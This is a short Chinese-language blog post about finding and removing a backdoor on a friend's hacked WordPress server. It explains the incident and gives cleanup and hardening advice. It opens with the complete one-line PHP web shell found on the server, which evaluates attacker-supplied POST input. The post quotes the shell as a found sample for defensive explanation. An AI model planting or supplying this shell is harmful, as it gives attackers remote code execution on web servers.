<?php @eval($_POST[8])?>

 首先，他的网站用的是wordpress OS(最近漏洞消息不断，我昨天收到的邮件里，有一封是关于这个)

这里插一句，全球有27%左右的网站用的这个系统。

至于那台服务器是如何被入侵的，我看了一看服务器了的文件，有连个个.php文件：

里面的代码就是我写的标题。
        这是传说中的一句话木马。eval可以用来执行任何其他php代码，危险系数比较大。

        删掉这些文件，密码改掉，可能的漏洞已修补，完事（这几天没有收到信息，不过过几天怎么样，哈哈就不敢说了）。

        有的网站的站长，有些是不懂技术的，对上上边的这个eval函数，不用的话最好禁止一下。

下面是我找的禁止函数的方法。

        有不少的站长，在维护自己的服务器的时候，托管方要找点靠谱点的，我说的这台服务器就是交给了第三方，我不敢说他们和黑产有多少联系，不过还是小心点好。